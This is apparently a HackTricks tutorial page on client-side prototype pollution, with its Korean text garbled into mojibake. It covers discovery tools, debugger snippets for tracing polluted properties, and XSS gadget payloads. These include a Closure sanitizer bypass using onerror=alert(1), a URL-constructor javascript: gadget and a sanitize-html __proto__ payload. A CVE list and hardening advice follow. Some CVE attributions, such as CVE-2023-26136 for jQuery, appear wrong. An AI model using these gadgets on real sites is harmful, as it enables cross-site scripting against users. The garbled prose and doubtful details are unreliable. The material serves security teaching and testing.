ํด๋ผ์ด์ธํธ ์ฌ์ด๋ ํ๋กํ ํ์ ์ค์ผ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๋ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ๋ฐ๊ฒฌ
๋๊ตฌ https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap ๋ฐ https://github.com/kosmosec/proto-find ๋ฅผ ์ฌ์ฉํ์ฌ ํ๋กํ ํ์ ์ค์ผ ์ทจ์ฝ์ ์ ์ฐพ์ ์ ์์ต๋๋ค.
๋ํ, ๋ธ๋ผ์ฐ์ ํ์ฅ ํ๋ก๊ทธ๋จ PPScan์ ์ฌ์ฉํ์ฌ ์ ์ํ๋ ํ์ด์ง์์ ํ๋กํ ํ์ ์ค์ผ ์ทจ์ฝ์ ์ ์๋์ผ๋ก ์ค์บํ ์ ์์ต๋๋ค.
์์ฑ์ด ์ฌ์ฉ๋๋ ์์น ๋๋ฒ๊น
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})
Prototype Pollution์ ๊ทผ๋ณธ ์์ธ ์ฐพ๊ธฐ
ํ๋กํ ํ์
์ค์ผ ์ทจ์ฝ์ ์ด ๋๊ตฌ์ ์ํด ์๋ณ๋๋ฉด, ์ฝ๋๊ฐ ์ง๋์น๊ฒ ๋ณต์กํ์ง ์์ ๊ฒฝ์ฐ, Chrome ๊ฐ๋ฐ์ ๋๊ตฌ์์ location.hash, decodeURIComponent ๋๋ location.search์ ๊ฐ์ ํค์๋๋ฅผ ๊ฒ์ํ์ฌ ์ทจ์ฝ์ ์ ์ฐพ์ ์ ์์ต๋๋ค. ์ด ์ ๊ทผ ๋ฐฉ์์ JavaScript ์ฝ๋์ ์ทจ์ฝํ ์น์
์ ์ ํํ ์ฐพ์๋ด๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
๋ ํฌ๊ณ ๋ณต์กํ ์ฝ๋๋ฒ ์ด์ค์ ๊ฒฝ์ฐ, ์ทจ์ฝํ ์ฝ๋๋ฅผ ๋ฐ๊ฒฌํ๋ ๊ฐ๋จํ ๋ฐฉ๋ฒ์ ๋ค์ ๋จ๊ณ๋ฅผ ํฌํจํฉ๋๋ค:
- ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ทจ์ฝ์ ์ ์๋ณํ๊ณ ์์ฑ์์์ ์์ฑ์ ์ค์ ํ๋๋ก ์ค๊ณ๋ ํ์ด๋ก๋๋ฅผ ์ป์ต๋๋ค. ppmap์์ ์ ๊ณตํ๋ ์์๋ ๋ค์๊ณผ ๊ฐ์ ์ ์์ต๋๋ค:
constructor[prototype][ppmap]=reserved. - ํ์ด์ง์์ ์คํ๋ JavaScript ์ฝ๋์ ์ฒซ ๋ฒ์งธ ์ค์ ์ค๋จ์ ์ ์ค์ ํฉ๋๋ค. ํ์ด๋ก๋๋ก ํ์ด์ง๋ฅผ ์๋ก ๊ณ ์น๊ณ ์ด ์ค๋จ์ ์์ ์คํ์ ์ผ์ ์ค์งํฉ๋๋ค.
- JavaScript ์คํ์ด ์ผ์ ์ค์ง๋ ์ํ์์, JS ์ฝ์์์ ๋ค์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํฉ๋๋ค. ์ด ์คํฌ๋ฆฝํธ๋ โppmapโ ์์ฑ์ด ์์ฑ๋ ๋ ์ ํธ๋ฅผ ๋ณด๋ด์ด ๊ทธ ์ถ์ฒ๋ฅผ ์ฐพ๋ ๋ฐ ๋์์ ์ค๋๋ค:
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
- ์์ค ํญ์ผ๋ก ๋์๊ฐ์ โ์คํฌ๋ฆฝํธ ์คํ ์ฌ๊ฐโ๋ฅผ ์ ํํฉ๋๋ค. JavaScript๋ ๊ณ์ ์คํ๋๋ฉฐ, โppmapโ ์์ฑ์ด ์์๋๋ก ์ค์ผ๋ฉ๋๋ค. ์ ๊ณต๋ ์ค๋ํซ์ ํ์ฉํ๋ฉด โppmapโ ์์ฑ์ด ์ค์ผ๋๋ ์ ํํ ์์น๋ฅผ ์๋ณํ ์ ์์ต๋๋ค. ํธ์ถ ์คํ์ ๊ฒ์ฌํ๋ฉด ์ค์ผ์ด ๋ฐ์ํ ๋ค์ํ ์คํ์ ๊ด์ฐฐํ ์ ์์ต๋๋ค.
์ด๋ค ์คํ์ ์กฐ์ฌํ ์ง ๊ฒฐ์ ํ ๋, JavaScript ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ๊ณผ ๊ด๋ จ๋ ์คํ์ ๋ชฉํ๋ก ํ๋ ๊ฒ์ด ์ ์ฉํ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ํ๋กํ ํ์ ์ค์ผ์ ์ด๋ฌํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ด์์ ์์ฃผ ๋ฐ์ํ๊ธฐ ๋๋ฌธ์ ๋๋ค. ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ์ ์ฐ๊ฒฐ๋ ๊ด๋ จ ์คํ์ ํ์ธํ์ฌ ์๋ณํฉ๋๋ค(์ค๋ฅธ์ชฝ์ ํ์๋๋ฉฐ, ์๋ด๋ฅผ ์ํ ์ด๋ฏธ์ง์ ์ ์ฌํฉ๋๋ค). 4ํ๊ณผ 6ํ๊ณผ ๊ฐ์ด ์ฌ๋ฌ ์คํ์ด ์๋ ๊ฒฝ์ฐ, 4ํ์ ์คํ์ด ๋ ผ๋ฆฌ์ ์ธ ์ ํ์ ๋๋ค. ์ด๋ ์ค์ผ์ ์ด๊ธฐ ๋ฐ์์ ๋ํ๋ด๋ฉฐ, ๋ฐ๋ผ์ ์ทจ์ฝ์ ์ ๊ทผ๋ณธ ์์ธ์ ๋๋ค. ์คํ์ ํด๋ฆญํ๋ฉด ์ทจ์ฝํ ์ฝ๋๋ก ์ด๋ํฉ๋๋ค.

์คํฌ๋ฆฝํธ ๊ฐ์ ฏ ์ฐพ๊ธฐ
๊ฐ์ ฏ์ PP ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋๋ฉด ๋จ์ฉ๋ ์ฝ๋์ ๋๋ค.
์ ํ๋ฆฌ์ผ์ด์
์ด ๊ฐ๋จํ๋ค๋ฉด, **srcdoc/innerHTML/iframe/createElement**์ ๊ฐ์ ํค์๋๋ฅผ ๊ฒ์ํ๊ณ ์์ค ์ฝ๋๋ฅผ ๊ฒํ ํ์ฌ JavaScript ์คํ์ผ๋ก ์ด์ด์ง๋์ง ํ์ธํ ์ ์์ต๋๋ค. ๋๋๋ก ์ธ๊ธ๋ ๊ธฐ์ ์ด ๊ฐ์ ฏ์ ์ ํ ์ฐพ์ง ๋ชปํ ์๋ ์์ต๋๋ค. ๊ทธ๋ฐ ๊ฒฝ์ฐ, ์์ ์์ค ์ฝ๋ ๊ฒํ ๋ฅผ ํตํด ์๋ ์์ ๊ฐ์ ๋ฉ์ง ๊ฐ์ ฏ์ ๋ฐ๊ฒฌํ ์ ์์ต๋๋ค.
Mithil ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฝ๋์์ PP ๊ฐ์ ฏ ์ฐพ๊ธฐ ์์
์ด ๊ธ์ ํ์ธํ์ธ์: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
์ทจ์ฝํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ํ ํ์ด๋ก๋ ์ฌ์ปดํ์ผ
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution
- https://github.com/BlackFan/client-side-prototype-pollution
PP๋ฅผ ํตํ HTML ์ธ๋ํ์ด์ ์ฐํ
์ด ์ฐ๊ตฌ๋ ์ผ๋ถ HTML ์ธ๋ํ์ด์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ์ ๊ณตํ๋ ์ธ๋ํ์ด์ฆ๋ฅผ ์ฐํํ๊ธฐ ์ํด ์ฌ์ฉํ PP ๊ฐ์ ฏ์ ๋ณด์ฌ์ค๋๋ค:
- sanitize-html
.png)
- dompurify
.png)
- Closure
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
New Tools & Automation (2023โ2025)
- Burp Suite DOM Invader (v2023.6) โ PortSwigger๋ ๋งค๊ฐ๋ณ์ ์ด๋ฆ์ ์๋์ผ๋ก ๋ณํํ๊ณ (e.g.
__proto__,constructor.prototype) ๋ธ๋ผ์ฐ์ ํ์ฅ ๋ด์ ์ฑํฌ ํฌ์ธํธ์์ ์ค์ผ๋ ์์ฑ์ ๊ฐ์งํ๋ ์ ์ฉ Prototype-pollution ํญ์ ์ถ๊ฐํ์ต๋๋ค. ๊ฐ์ ฏ์ด ํธ๋ฆฌ๊ฑฐ๋๋ฉด, DOM Invader๋ ์คํ ์คํ๊ณผ ์์ฑ์ด ์ญ์ฐธ์กฐ๋ ์ ํํ ์ค์ ๋ณด์ฌ์ฃผ์ด ์๋ ์ค๋จ์ ํ์์ด ํ์ ์๊ฒ ๋ง๋ญ๋๋ค. ์์ ์ด๋ฏธ ๋ณด์ฌ์ค โ์์ฑ ์ ๊ทผ ์ ์ค๋จโ ์ค๋ํซ๊ณผ ๊ฒฐํฉํ์ฌ source โ sink๋ก ๋น ๋ฅด๊ฒ ์ ํํ ์ ์์ต๋๋ค. - protoStalker โ ์ค์๊ฐ์ผ๋ก ํ๋กํ ํ์
์ฒด์ธ์ ์๊ฐํํ๊ณ
onerror,innerHTML,srcdoc,id๋ฑ๊ณผ ๊ฐ์ ์ ์ญ์ ์ผ๋ก ์ํํ ํค์ ๋ํ ์ฐ๊ธฐ๋ฅผ ํ๋๊ทธํ๋ ์คํ ์์ค Chrome DevTools ํ๋ฌ๊ทธ์ธ(2024๋ ์ถ์)์ ๋๋ค. ํ๋ก๋์ ๋ฒ๋ค๋ง ์๊ณ ๋น๋ ๋จ๊ณ๋ฅผ ๊ณ์ธกํ ์ ์์ ๋ ์ ์ฉํฉ๋๋ค. - ppfuzz 2.0 (2025) โ ์ด ๋๊ตฌ๋ ์ด์ ES ๋ชจ๋, HTTP/2 ๋ฐ WebSocket ์๋ํฌ์ธํธ๋ฅผ ์ง์ํฉ๋๋ค. ์๋ก์ด
-A browser๋ชจ๋๋ ํค๋๋ฆฌ์ค Chromium ์ธ์คํด์ค๋ฅผ ์คํํ๊ณ DOM API๋ฅผ ๋ฌด์ฐจ๋ณ ๋์ ํ์ฌ ๊ฐ์ ฏ ํด๋์ค๋ฅผ ์๋์ผ๋ก ์ด๊ฑฐํฉ๋๋ค(์๋ ์น์ ์ฐธ์กฐ).
Recent Prototype-Pollution Gadget Research (2022โ2025)
2023๋ ์ค๋ฐ, PortSwigger ์ฐ๊ตฌ์๋ค์ ๋ธ๋ผ์ฐ์ ๋ด์ฅ ๊ฐ์ฒด๊ฐ ์ค์ผ๋๋ฉด ์ ๋ขฐํ ์ ์๋ XSS ๊ฐ์ ฏ์ผ๋ก ๋ณํ๋ ์ ์๋ค๋ ๋ ผ๋ฌธ์ ๋ฐํํ์ต๋๋ค. ์ด๋ฌํ ๊ฐ์ฒด๋ ๋ชจ๋ ํ์ด์ง์ ์กด์ฌํ๋ฏ๋ก, ํ๊ฒ ์ ํ๋ฆฌ์ผ์ด์ ์ฝ๋๊ฐ ์ค์ผ๋ ์์ฑ์ ์ ๊ทผํ์ง ์๋๋ผ๋ ์คํ์ ์ป์ ์ ์์ต๋๋ค.
์์ ๊ฐ์ ฏ(๋ชจ๋ ์๋ฒ๊ทธ๋ฆฐ ๋ธ๋ผ์ฐ์ โฅ 2023-04์์ ์๋):
<script>
// Source (e.g. https://victim/?__proto__[href]=javascript:alert(document.domain))
// For demo we just pollute manually:
Object.prototype.href = 'javascript:alert(`polluted`)' ;
// Sink โ URL() constructor implicitly reads `href`
new URL('#'); // breaks into JS; in Chrome you get an alert, Firefox loads "javascript:" URL
</script>
๋ค์์ ์ค์ผ ํ ์๋์ด ํ์ธ๋ ๋ค๋ฅธ ์ ์ฉํ ๊ธ๋ก๋ฒ ๊ฐ์ ฏ์ ๋๋ค (ํ ์คํธ 2024-11):
| Gadget class | Read property | Primitive achieved |
|---|---|---|
Notification | title | alert() via notification click |
Worker | name | JS execution in dedicated Worker |
Image | src | Traditional onerror XSS |
URLSearchParams | toString | DOM-based Open Redirect |
์ ์ฒด 11๊ฐ ๊ฐ์ ฏ ๋ชฉ๋ก๊ณผ ์๋๋ฐ์ค ํ์ถ์ ๋ํ ๋ ผ์๋ PortSwigger ๋ ผ๋ฌธ์ ์ฐธ์กฐํ์ธ์.
์ฃผ๋ชฉํ ๋งํ ํด๋ผ์ด์ธํธ ์ธก PP CVE (2023-2025)
- DOMPurify โค 3.0.8 โ CVE-2024-45801 ๊ณต๊ฒฉ์๋ sanitizer๊ฐ ์ด๊ธฐํ๋๊ธฐ ์ ์
Node.prototype.after๋ฅผ ์ค์ผ์์ผ SAFE_FOR_TEMPLATES ํ๋กํ์ ์ฐํํ๊ณ ์ ์ฅ๋ XSS๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค. ๊ณต๊ธ์๋Object.hasOwn()์ฒดํฌ์ ๋ด๋ถ ๋งต์ ์ํObject.create(null)์ ์ฌ์ฉํ์ฌ ํจ์นํ์ต๋๋ค. - jQuery 3.6.0-3.6.3 โ CVE-2023-26136 / CVE-2023-26140
extend()๋location.hash์์ ์ ๋ํ ์กฐ์๋ ๊ฐ์ฒด์ ์ฌ์ฉ๋ ์ ์์ด, ๋ธ๋ผ์ฐ์ง ์ปจํ ์คํธ์์Object.prototype์ ์์์ ์์ฑ์ ๋์ ํฉ๋๋ค. - sanitize-html < 2.8.1 (2023-10) ํ๋กํ ํ์
์ค์ผ
{"__proto__":{"innerHTML":"<img/src/onerror=alert(1)>"}}์ ๊ฐ์ ์ ์์ ์ธ ์์ฑ ๋ชฉ๋ก์ด ํ์ฉ ๋ชฉ๋ก์ ์ฐํํ์ต๋๋ค.
์ทจ์ฝํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ํด๋ผ์ด์ธํธ์๋ง ์กด์ฌํ๋๋ผ๋, ๊ฒฐ๊ณผ์ ์ธ XSS๋ ๋ฐ์ฌ๋ ๋งค๊ฐ๋ณ์, postMessage ํธ๋ค๋ฌ ๋๋ ๋์ค์ ๋ ๋๋ง๋ ์ ์ฅ๋ ๋ฐ์ดํฐ๋ฅผ ํตํด ์๊ฒฉ์ผ๋ก ์ฌ์ ํ ์ ์ฉ๋ ์ ์์ต๋๋ค.
ํ๋ ๋ฐฉ์ด ์กฐ์น
- ๊ธ๋ก๋ฒ ํ๋กํ ํ์ ์ ์กฐ๊ธฐ์ ๋๊ฒฐ (์ด์์ ์ผ๋ก๋ ์ฒซ ๋ฒ์งธ ์คํฌ๋ฆฝํธ๋ก):
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Map.prototype);
์ด๊ฒ์ด ๋ฆ์ ํ์ฅ์ ์์กดํ๋ ํด๋ฆฌํ์ ๊นจ๋จ๋ฆด ์ ์์์ ์ ์ํ์ธ์.
2. JSON.parse(JSON.stringify(obj)) ๋๋ ์ปค๋ฎค๋ํฐ โdeepMergeโ ์ค๋ํซ ๋์ structuredClone()์ ์ฌ์ฉํ์ธ์ โ ์ด๋ ์ค์ ์/๊ฐ์ ธ์ค๊ธฐ์๋ฅผ ๋ฌด์ํ๊ณ ํ๋กํ ํ์
์ฒด์ธ์ ํ์ํ์ง ์์ต๋๋ค.
3. ๊น์ ๋ณํฉ ๊ธฐ๋ฅ์ด ์ ๋ง ํ์ํ ๋๋ lodash โฅ 4.17.22 ๋๋ deepmerge โฅ 5.3.0๋ฅผ ์ ํํ์ธ์. ์ด๋ค์ ๋ด์ฅ๋ ํ๋กํ ํ์
์์์ ๊ฐ์ง๊ณ ์์ต๋๋ค.
4. script-src 'self'์ ์๊ฒฉํ nonce๊ฐ ํฌํจ๋ Content-Security-Policy๋ฅผ ์ถ๊ฐํ์ธ์. CSP๋ ๋ชจ๋ ๊ฐ์ ฏ์ ์ฐจ๋จํ์ง๋ ์์ง๋ง (์: location ์กฐ์), ๋๋ถ๋ถ์ innerHTML ์ฑํฌ๋ฅผ ์ฐจ๋จํฉ๋๋ค.
References
-
https://portswigger.net/research/widespread-prototype-pollution-gadgets
-
https://snyk.io/blog/dompurify-prototype-pollution-bypass-cve-2024-45801/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


